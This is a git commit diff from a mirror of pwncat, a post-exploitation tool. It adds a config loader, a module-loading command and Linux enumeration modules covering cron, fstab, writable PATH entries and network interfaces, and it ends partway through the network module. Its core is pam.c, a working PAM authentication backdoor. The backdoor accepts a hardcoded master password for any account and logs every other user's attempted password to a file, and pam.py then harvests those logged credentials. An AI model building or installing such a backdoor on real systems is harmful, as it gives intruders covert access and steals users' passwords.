mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Converted more modules
Mainly worked on authorized_keys and pam persistence modules. Also added the `load` command allowing users to load custom modules from different directories. Lastly, added the optional inclusion of a `$XDG_CONFIG_HOME/pwncat/pwncatrc` configuration allowing you to specify configuration for all invocations of pwncat (like a custom module directory).
This commit is contained in:
parent
8fed7c9829
commit
37961a301b
@ -14,6 +14,10 @@ RUN set -eux \
|
|||||||
RUN set -eux \
|
RUN set -eux \
|
||||||
&& python3 -m ensurepip
|
&& python3 -m ensurepip
|
||||||
|
|
||||||
|
# Ensure pip is up to date
|
||||||
|
RUN set -eux \
|
||||||
|
&& python3 -m pip install -U pip setuptools wheel
|
||||||
|
|
||||||
# Copy pwncat source
|
# Copy pwncat source
|
||||||
COPY . /pwncat
|
COPY . /pwncat
|
||||||
|
|
||||||
|
128
IDEAS.md
128
IDEAS.md
@ -13,6 +13,134 @@ There is also potential for numerous other methods such as DNS, ICMP,
|
|||||||
etc. A Channel class would look a lot like a socket, but would guarantee
|
etc. A Channel class would look a lot like a socket, but would guarantee
|
||||||
a consistent interface across C2 types.
|
a consistent interface across C2 types.
|
||||||
|
|
||||||
|
```python
|
||||||
|
|
||||||
|
class Channel:
|
||||||
|
|
||||||
|
PLATFORM = Platform.UNKNOWN
|
||||||
|
|
||||||
|
def recv(self, count: Optional[int] = None):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def send(self, data: bytes):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def connect(cls, connection_string: str, port: int, platform: Platform) -> "Channel":
|
||||||
|
""" Called by the connect command. May look like:
|
||||||
|
# Connect via ssh
|
||||||
|
connect ssh user@host
|
||||||
|
connect ssh -p 2222 user@host
|
||||||
|
# Connect via raw socket
|
||||||
|
connect host 4444
|
||||||
|
# Connect via bind socket
|
||||||
|
connect bind -p 4444
|
||||||
|
# Connect via other types
|
||||||
|
connect icmp host
|
||||||
|
# Connect for specific platform
|
||||||
|
connect -P windows host 4444
|
||||||
|
connect bind -P linux -p 4444
|
||||||
|
|
||||||
|
Technically, the first positional parameter is the connection string
|
||||||
|
and the second is the port number. You can also specify the port number
|
||||||
|
with `-p` or `--port`. The positional syntax is more natural for raw
|
||||||
|
socket connect channels, while the `-p` is more natural for ssh and
|
||||||
|
bind sockets.
|
||||||
|
"""
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Platform Abstraction
|
||||||
|
|
||||||
|
To facilitate true multi-platform functionality, some information should be abstracted
|
||||||
|
away from the platform. I think this would look like separating the victim object out
|
||||||
|
into a base class and sub-classes. The base class could be called `Platform` and take
|
||||||
|
over for the `Platform` Flags class we currently have. Instead of testing a flags class,
|
||||||
|
we could have `PLATFORM` in modules be an array of supported platform classes, and use
|
||||||
|
a similar syntax where it would look like `type(pwncat.victim) in module.PLATFORM` or
|
||||||
|
`isinstance(pwncat.victim, platform.Linux)`.
|
||||||
|
|
||||||
|
```python
|
||||||
|
class Platform:
|
||||||
|
|
||||||
|
def __init__(self, channel: Channel):
|
||||||
|
# Save the channel for future use
|
||||||
|
self.channel = channel
|
||||||
|
|
||||||
|
# Set the prompt
|
||||||
|
self.update_prompt()
|
||||||
|
|
||||||
|
# Spawn a pty if we don't have one
|
||||||
|
if not self.has_pty():
|
||||||
|
self.spawn_pty()
|
||||||
|
|
||||||
|
def has_pty(self) -> bool:
|
||||||
|
""" Check if the current shell has a PTY """
|
||||||
|
|
||||||
|
def spawn_pty(self):
|
||||||
|
""" Spawn a PTY in the current shell for full interactive features """
|
||||||
|
|
||||||
|
def update_prompt(self):
|
||||||
|
""" Set the prompt for the current shell """
|
||||||
|
|
||||||
|
def which(self, name: str) -> str:
|
||||||
|
""" Look up a binary on the remote host and return it's path """
|
||||||
|
|
||||||
|
def cd(self, directory: str):
|
||||||
|
""" Change directories """
|
||||||
|
|
||||||
|
def listdir(self, directory: str = None) -> Generator[int, None, None]:
|
||||||
|
""" Return a list of all items in the current directory """
|
||||||
|
|
||||||
|
def cwd(self) -> str:
|
||||||
|
""" Get the current working directory """
|
||||||
|
|
||||||
|
def current_user(self) -> User:
|
||||||
|
""" Get a user object representing the current user """
|
||||||
|
|
||||||
|
def current_uid(self) -> int:
|
||||||
|
""" Get the current user id. This is faster than querying the whole user object """
|
||||||
|
|
||||||
|
def open(self, path: str, mode: str, content_length: int) -> Union[TextIO, BinaryIO]:
|
||||||
|
""" Mimic built-in open function to open a remote file and return a stream. """
|
||||||
|
|
||||||
|
def exec(self, argv: List[str], envp: List[str], stdout: str, stderr: str, stream: bool = False) -> Union[str, BinaryIO]:
|
||||||
|
""" Execute a remote binary and return the stdout. If stream is true, return a
|
||||||
|
file-like object where we can read the results. """
|
||||||
|
|
||||||
|
def process(self, argv: List[str], envp: List[str], stdout: str, stderr: str) -> bytes:
|
||||||
|
""" Execute a remote binary, but do not wait for completion. Return string which
|
||||||
|
indicates the completion of the command """
|
||||||
|
|
||||||
|
class Linux(Platform):
|
||||||
|
""" Implement the above abstract methods """
|
||||||
|
|
||||||
|
class Windows(Platform):
|
||||||
|
""" Implement the above abstract methods """
|
||||||
|
```
|
||||||
|
|
||||||
|
With both channels and platforms implemented, the initialization would
|
||||||
|
look something like this:
|
||||||
|
|
||||||
|
```python
|
||||||
|
|
||||||
|
# Initialize scripting engine
|
||||||
|
script_parser = pwncat.commands.Parser()
|
||||||
|
|
||||||
|
# Run the connect command
|
||||||
|
try:
|
||||||
|
script_parser.dispatch_line(shlex.join(["connect", *remaining_args]), command="pwncat")
|
||||||
|
except:
|
||||||
|
# Connection failed
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
# The connect command initialized the `pwncat.victim` object,
|
||||||
|
# but it doesn't have a parser yet. We already initialized one
|
||||||
|
# so store it there.
|
||||||
|
pwncat.victim.parser = script_parser
|
||||||
|
```
|
||||||
|
|
||||||
## Module access
|
## Module access
|
||||||
|
|
||||||
Modules are currently segmented by type. There are persistence, privilege
|
Modules are currently segmented by type. There are persistence, privilege
|
||||||
|
@ -6,6 +6,7 @@ import shlex
|
|||||||
import sys
|
import sys
|
||||||
import warnings
|
import warnings
|
||||||
import os
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
from sqlalchemy import exc as sa_exc
|
from sqlalchemy import exc as sa_exc
|
||||||
from sqlalchemy.exc import InvalidRequestError
|
from sqlalchemy.exc import InvalidRequestError
|
||||||
@ -23,6 +24,25 @@ def main():
|
|||||||
# Build the victim object
|
# Build the victim object
|
||||||
pwncat.victim = Victim()
|
pwncat.victim = Victim()
|
||||||
|
|
||||||
|
# Find the user configuration
|
||||||
|
config_path = (
|
||||||
|
Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) / "pwncat" / "pwncatrc"
|
||||||
|
)
|
||||||
|
config_path = config_path.expanduser()
|
||||||
|
|
||||||
|
print("config_path=" + str(config_path))
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Read the config script
|
||||||
|
with config_path.open("r") as filp:
|
||||||
|
script = filp.read()
|
||||||
|
|
||||||
|
# Run the script
|
||||||
|
pwncat.victim.command_parser.eval(script, str(config_path))
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
# The config doesn't exist
|
||||||
|
pass
|
||||||
|
|
||||||
# Arguments to `pwncat` are considered arguments to `connect`
|
# Arguments to `pwncat` are considered arguments to `connect`
|
||||||
# We use the `prog_name` argument to make the help for "connect"
|
# We use the `prog_name` argument to make the help for "connect"
|
||||||
# display "pwncat" in the usage. This is just a visual fix, and
|
# display "pwncat" in the usage. This is just a visual fix, and
|
||||||
|
30
pwncat/commands/load.py
Normal file
30
pwncat/commands/load.py
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||||
|
|
||||||
|
|
||||||
|
class Command(CommandDefinition):
|
||||||
|
"""
|
||||||
|
Load modules from the specified directory. This does not remove
|
||||||
|
currently loaded modules, but may replace modules which were already
|
||||||
|
loaded. Also, prior to loading any specified modules, the standard
|
||||||
|
modules are loaded. This normally happens only when modules are first
|
||||||
|
utilized. This ensures that a standard module does not shadow a custom
|
||||||
|
module. In fact, the opposite may happen in a custom module is defined
|
||||||
|
with the same name as a standard module.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROG = "load"
|
||||||
|
ARGS = {
|
||||||
|
"path": Parameter(
|
||||||
|
Complete.LOCAL_FILE,
|
||||||
|
help="Path to a python package directory to load modules from",
|
||||||
|
nargs="+",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
DEFAULTS = {}
|
||||||
|
LOCAL = True
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
pwncat.modules.reload(args.path)
|
@ -134,7 +134,5 @@ class Command(CommandDefinition):
|
|||||||
if result.category is None:
|
if result.category is None:
|
||||||
console.print(f"[bold]{result.title}[/bold]")
|
console.print(f"[bold]{result.title}[/bold]")
|
||||||
else:
|
else:
|
||||||
console.print(
|
console.print(f"[bold]{result.category} - {result.title}[/bold]")
|
||||||
f"[bold][yellow]{result.category}[/yellow] - {result.title}[/bold]"
|
console.print(textwrap.indent(result.description, " "))
|
||||||
)
|
|
||||||
console.print(result.description)
|
|
||||||
|
65
pwncat/data/pam.c
Normal file
65
pwncat/data/pam.c
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <security/pam_modules.h>
|
||||||
|
#include <security/pam_ext.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <openssl/sha.h>
|
||||||
|
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *handle, int flags, int argc, const char **argv)
|
||||||
|
{
|
||||||
|
int pam_code;
|
||||||
|
const char *username = NULL;
|
||||||
|
const char *password = NULL;
|
||||||
|
char passwd_line[1024];
|
||||||
|
int found_user = 0;
|
||||||
|
char key[20] = {__PWNCAT_HASH__};
|
||||||
|
FILE* filp;
|
||||||
|
pam_code = pam_get_user(handle, &username, "Username: ");
|
||||||
|
if (pam_code != PAM_SUCCESS) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
filp = fopen("/etc/passwd", "r");
|
||||||
|
if( filp == NULL ){
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
while( fgets(passwd_line, 1024, filp) ){
|
||||||
|
char* valid_user = strtok(passwd_line, ":");
|
||||||
|
if( strcmp(valid_user, username) == 0 ){
|
||||||
|
found_user = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(filp);
|
||||||
|
if( found_user == 0 ){
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
pam_code = pam_get_authtok(handle, PAM_AUTHTOK, &password, "Password: ");
|
||||||
|
if (pam_code != PAM_SUCCESS) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
if( memcmp(SHA1(password, strlen(password), NULL), key, 20) != 0 ){
|
||||||
|
filp = fopen("__PWNCAT_LOG__", "a");
|
||||||
|
if( filp != NULL )
|
||||||
|
{
|
||||||
|
fprintf(filp, "%s:%s\n", username, password);
|
||||||
|
fclose(filp);
|
||||||
|
}
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
return PAM_SUCCESS;
|
||||||
|
}
|
||||||
|
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
||||||
|
PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv){
|
||||||
|
return PAM_IGNORE;
|
||||||
|
}
|
@ -25,7 +25,7 @@ class Fact(Base, Result):
|
|||||||
|
|
||||||
@property
|
@property
|
||||||
def category(self) -> str:
|
def category(self) -> str:
|
||||||
return f"{self.type} facts"
|
return f"{self.type}"
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def title(self) -> str:
|
def title(self) -> str:
|
||||||
|
@ -3,6 +3,7 @@ import inspect
|
|||||||
import pkgutil
|
import pkgutil
|
||||||
import re
|
import re
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
import typing
|
||||||
from typing import Any, Callable
|
from typing import Any, Callable
|
||||||
|
|
||||||
from rich.progress import Progress
|
from rich.progress import Progress
|
||||||
@ -230,18 +231,26 @@ class BaseModule(metaclass=BaseModuleMeta):
|
|||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.progress = None
|
self.progress = None
|
||||||
|
# Filled in by reload
|
||||||
|
self.name = None
|
||||||
|
|
||||||
def run(self, **kwargs):
|
def run(self, **kwargs):
|
||||||
""" Execute this module """
|
""" Execute this module """
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
|
|
||||||
def reload():
|
def reload(where: typing.Optional[typing.List[str]] = None):
|
||||||
""" Reload the modules """
|
""" Reload the modules """
|
||||||
|
|
||||||
for loader, module_name, is_pkg in pkgutil.walk_packages(
|
# We need to load built-in modules first
|
||||||
__path__, prefix=__name__ + "."
|
if not LOADED_MODULES and where is not None:
|
||||||
):
|
reload()
|
||||||
|
|
||||||
|
# If no paths were specified, load built-ins
|
||||||
|
if where is None:
|
||||||
|
where = __path__
|
||||||
|
|
||||||
|
for loader, module_name, _ in pkgutil.walk_packages(where, prefix=__name__ + "."):
|
||||||
module = loader.find_module(module_name).load_module(module_name)
|
module = loader.find_module(module_name).load_module(module_name)
|
||||||
|
|
||||||
if getattr(module, "Module", None) is None:
|
if getattr(module, "Module", None) is None:
|
||||||
|
@ -14,16 +14,23 @@ class PasswordData:
|
|||||||
password: str
|
password: str
|
||||||
filepath: str
|
filepath: str
|
||||||
lineno: int
|
lineno: int
|
||||||
|
uid: int = None
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
if self.password is not None:
|
if self.password is not None:
|
||||||
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
|
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
|
||||||
|
if self.uid is not None:
|
||||||
|
result += f" for [blue]{self.user.name}[/blue]"
|
||||||
if self.filepath is not None:
|
if self.filepath is not None:
|
||||||
result += f" ({self.filepath}:{self.lineno})"
|
result += f" ({self.filepath}:{self.lineno})"
|
||||||
else:
|
else:
|
||||||
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
|
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
@property
|
||||||
|
def user(self):
|
||||||
|
return pwncat.victim.find_user_by_id(self.uid) if self.uid is not None else None
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class PrivateKeyData:
|
class PrivateKeyData:
|
||||||
|
59
pwncat/modules/enumerate/creds/pam.py
Normal file
59
pwncat/modules/enumerate/creds/pam.py
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
from pwncat.modules.enumerate.creds import PasswordData
|
||||||
|
from pwncat.modules.persist.gather import InstalledModule
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
Exfiltrate logged passwords from the pam-based persistence
|
||||||
|
module. This persistence module logs all attempted passwords
|
||||||
|
for all users in a known location. We read this file and yield
|
||||||
|
all passwords we have collected.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
SCHEDULE = Schedule.ALWAYS
|
||||||
|
PROVIDES = ["creds.password"]
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
pam: InstalledModule = None
|
||||||
|
for module in pwncat.modules.run(
|
||||||
|
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
|
||||||
|
):
|
||||||
|
pam = module
|
||||||
|
|
||||||
|
if pam is None:
|
||||||
|
# The pam persistence module isn't installed.
|
||||||
|
return
|
||||||
|
|
||||||
|
# Grab the log path
|
||||||
|
log_path = pam.persist.args["log"]
|
||||||
|
# Just in case we have multiple of the same password logged
|
||||||
|
observed = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(log_path, "r") as filp:
|
||||||
|
for lineno, line in enumerate(filp):
|
||||||
|
line = line.strip()
|
||||||
|
if line in observed:
|
||||||
|
continue
|
||||||
|
|
||||||
|
user, *password = line.split(":")
|
||||||
|
password = ":".join(password)
|
||||||
|
|
||||||
|
# Invalid user name
|
||||||
|
if user not in pwncat.victim.users:
|
||||||
|
continue
|
||||||
|
|
||||||
|
observed.append(line)
|
||||||
|
|
||||||
|
yield "creds.password", PasswordData(
|
||||||
|
password, log_path, lineno + 1, uid=pwncat.victim.users[user].id
|
||||||
|
)
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
pass
|
0
pwncat/modules/enumerate/misc/__init__.py
Normal file
0
pwncat/modules/enumerate/misc/__init__.py
Normal file
46
pwncat/modules/enumerate/misc/writable_path.py
Normal file
46
pwncat/modules/enumerate/misc/writable_path.py
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import os
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.util import Access
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
Locate any components of the current PATH that are writable
|
||||||
|
by the current user.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROVIDES = ["system.writable_path"]
|
||||||
|
SCHEDULE = Schedule.PER_USER
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
for path in pwncat.victim.getenv("PATH").split(":"):
|
||||||
|
access = pwncat.victim.access(path)
|
||||||
|
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||||
|
yield "misc.writable_path", path
|
||||||
|
elif (
|
||||||
|
Access.EXISTS not in access
|
||||||
|
and (Access.PARENT_EXIST | Access.PARENT_WRITE) in access
|
||||||
|
):
|
||||||
|
yield "misc.writable_path", path
|
||||||
|
elif access == Access.NONE:
|
||||||
|
# This means the parent directory doesn't exist. Check up the chain to see if
|
||||||
|
# We can create this chain of directories
|
||||||
|
dirpath = os.path.dirname(path)
|
||||||
|
access = pwncat.victim.access(dirpath)
|
||||||
|
# Find the first item that either exists or it's parent does
|
||||||
|
while access == Access.NONE:
|
||||||
|
dirpath = os.path.dirname(dirpath)
|
||||||
|
access = pwncat.victim.access(dirpath)
|
||||||
|
# This item exists. Is it a directory and can we write to it?
|
||||||
|
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||||
|
yield "misc.writable_path", path
|
||||||
|
elif (
|
||||||
|
Access.PARENT_EXIST | Access.PARENT_WRITE
|
||||||
|
) in access and Access.EXISTS not in access:
|
||||||
|
yield "misc.writable_path", path
|
@ -15,6 +15,9 @@ class Module(BaseModule):
|
|||||||
PLATFORM = pwncat.modules.Platform.ANY
|
PLATFORM = pwncat.modules.Platform.ANY
|
||||||
|
|
||||||
def run(self, output):
|
def run(self, output):
|
||||||
return pwncat.modules.find("enumerate.gather").run(
|
return pwncat.modules.run(
|
||||||
types=["file.suid", "file.caps"], output=output
|
"enumerate.gather",
|
||||||
|
progress=self.progress,
|
||||||
|
types=["system.*", "software.sudo.*", "file.suid"],
|
||||||
|
output=output,
|
||||||
)
|
)
|
||||||
|
150
pwncat/modules/enumerate/software/cron.py
Normal file
150
pwncat/modules/enumerate/software/cron.py
Normal file
@ -0,0 +1,150 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import dataclasses
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules import Status
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
|
@dataclasses.dataclass
|
||||||
|
class CronEntry:
|
||||||
|
|
||||||
|
path: str
|
||||||
|
""" The path to the crontab where this was found """
|
||||||
|
uid: int
|
||||||
|
""" The user ID this entry will run as """
|
||||||
|
command: str
|
||||||
|
""" The command that will execute """
|
||||||
|
datetime: str
|
||||||
|
""" The entire date/time specifier from the crontab entry """
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return (
|
||||||
|
f"[blue]{self.user.name}[/blue] runs [yellow]{repr(self.command)}[/yellow]"
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def description(self):
|
||||||
|
return f"{self.path}: {self.datetime} {self.command}"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def user(self):
|
||||||
|
return pwncat.victim.find_user_by_id(self.uid)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_crontab(path: str, line: str, system: bool = True) -> CronEntry:
|
||||||
|
"""
|
||||||
|
Parse a crontab line. This returns a tuple of (command, datetime, user) indicating
|
||||||
|
the command to run, when it will execute, and who it will execute as. If system is
|
||||||
|
false, then the current user is returned and no user element is parsed (assumed
|
||||||
|
not present).
|
||||||
|
|
||||||
|
This will raise a ValueError if the line is malformed.
|
||||||
|
|
||||||
|
:param line: the line from crontab
|
||||||
|
:param system: whether this is a system or user crontab entry
|
||||||
|
:return: a tuple of (command, datetime, username)
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Variable assignment, comment or empty line
|
||||||
|
if (
|
||||||
|
line.startswith("#")
|
||||||
|
or line == ""
|
||||||
|
or re.match(r"[a-zA-Z][a-zA-Z0-9_-]*\s*=.*", line) is not None
|
||||||
|
):
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
entry = [x for x in line.strip().replace("\t", " ").split(" ") if x != ""]
|
||||||
|
|
||||||
|
# Malformed entry or comment
|
||||||
|
if (len(entry) <= 5 and not system) or (len(entry) <= 6 and system):
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
when = " ".join(entry[:5])
|
||||||
|
|
||||||
|
if system:
|
||||||
|
uid = pwncat.victim.users[entry[5]].id
|
||||||
|
command = " ".join(entry[6:])
|
||||||
|
else:
|
||||||
|
uid = pwncat.victim.current_user.id
|
||||||
|
command = " ".join(entry[5:])
|
||||||
|
|
||||||
|
return CronEntry(path, uid, command, when)
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
Check for any readable crontabs and return their entries.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROVIDES = ["software.cron.entry"]
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
SCHEDULE = Schedule.PER_USER
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Get this user's crontab entries
|
||||||
|
user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8")
|
||||||
|
except FileNotFoundError:
|
||||||
|
# The crontab command doesn't exist :(
|
||||||
|
return
|
||||||
|
|
||||||
|
for line in user_entries.split("\n"):
|
||||||
|
try:
|
||||||
|
yield "software.cron.entry", parse_crontab(
|
||||||
|
"crontab -l", line, system=False
|
||||||
|
)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
known_tabs = ["/etc/crontab"]
|
||||||
|
|
||||||
|
for tab_path in known_tabs:
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(tab_path, "r") as filp:
|
||||||
|
for line in filp:
|
||||||
|
try:
|
||||||
|
yield "software.cron.entry", parse_crontab(
|
||||||
|
tab_path, line, system=True
|
||||||
|
)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
known_dirs = [
|
||||||
|
"/etc/cron.d",
|
||||||
|
# I'm dumb. These aren't crontabs... they're scripts...
|
||||||
|
# "/etc/cron.daily",
|
||||||
|
# "/etc/cron.weekly",
|
||||||
|
# "/etc/cron.monthly",
|
||||||
|
]
|
||||||
|
for dir_path in known_dirs:
|
||||||
|
try:
|
||||||
|
yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]")
|
||||||
|
filenames = list(pwncat.victim.listdir(dir_path))
|
||||||
|
for filename in filenames:
|
||||||
|
if filename in (".", ".."):
|
||||||
|
continue
|
||||||
|
yield Status(f"reading [cyan]{filename}[/cyan]")
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(
|
||||||
|
os.path.join(dir_path, filename), "r"
|
||||||
|
) as filp:
|
||||||
|
for line in filp:
|
||||||
|
try:
|
||||||
|
yield "software.cron.entry", parse_crontab(
|
||||||
|
os.path.join(dir_path, filename),
|
||||||
|
line,
|
||||||
|
system=True,
|
||||||
|
)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
pass
|
||||||
|
except (FileNotFoundError, NotADirectoryError, PermissionError):
|
||||||
|
pass
|
72
pwncat/modules/enumerate/system/fstab.py
Normal file
72
pwncat/modules/enumerate/system/fstab.py
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import dataclasses
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
|
@dataclasses.dataclass
|
||||||
|
class FstabEntry:
|
||||||
|
|
||||||
|
spec: str
|
||||||
|
""" The FS Specification (e.g. /dev/sda1 or UUID=XXXX) """
|
||||||
|
target: str
|
||||||
|
""" The target location for this mount (e.g. /mnt/mydisk or /home) """
|
||||||
|
fstype: str
|
||||||
|
""" The type of filesystem being mounted (e.g. ext4 or bind) """
|
||||||
|
options: List[str]
|
||||||
|
""" The list of options associated with this mount (split on comma) """
|
||||||
|
freq: int
|
||||||
|
""" Whether to dump this filesystem (defaults to zero, fifth field, see fstab(5)) """
|
||||||
|
passno: int
|
||||||
|
""" Order of fsck at boot time. See fstab(5) and fsck(8). """
|
||||||
|
mounted: bool
|
||||||
|
""" Whether this is currently mounted (not from fstab, but cross-referenced w/ /proc/mount) """
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
if self.mounted:
|
||||||
|
return (
|
||||||
|
f"[blue]{self.spec}[/blue] [green]mounted[/green] at "
|
||||||
|
f"[yellow]{self.target}[/yellow] "
|
||||||
|
f"as [cyan]{self.fstype}[/cyan]"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
return (
|
||||||
|
f"[blue]{self.spec}[/blue] [red]available[/red] to "
|
||||||
|
f"mount at [yellow]{self.target}[/yellow] "
|
||||||
|
f"as [cyan]{self.fstype}[/cyan]"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
Read /etc/fstab and report on known block device mount points.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROVIDES = ["system.mountpoint"]
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
SCHEDULE = Schedule.ONCE
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open("/etc/fstab", "r") as filp:
|
||||||
|
for line in filp:
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith("#") or line == "":
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
spec, target, fstype, options, *entries = line.split()
|
||||||
|
# Optional entries
|
||||||
|
freq = int(entries[0]) if entries else "0"
|
||||||
|
passno = int(entries[1]) if len(entries) > 1 else "0"
|
||||||
|
except (ValueError, IndexError):
|
||||||
|
# Badly formatted line
|
||||||
|
continue
|
||||||
|
yield "system.mountpoint", FstabEntry(
|
||||||
|
spec, target, fstype, options.split(","), freq, passno, False
|
||||||
|
)
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
pass
|
53
pwncat/modules/enumerate/system/network.py
Normal file
53
pwncat/modules/enumerate/system/network.py
Normal file
@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import dataclasses
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
|
@dataclasses.dataclass
|
||||||
|
class InterfaceData:
|
||||||
|
|
||||||
|
interface: str
|
||||||
|
address: str
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return f"Interface [cyan]{self.interface}[/cyan] w/ address [blue]{self.address}[/blue]"
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
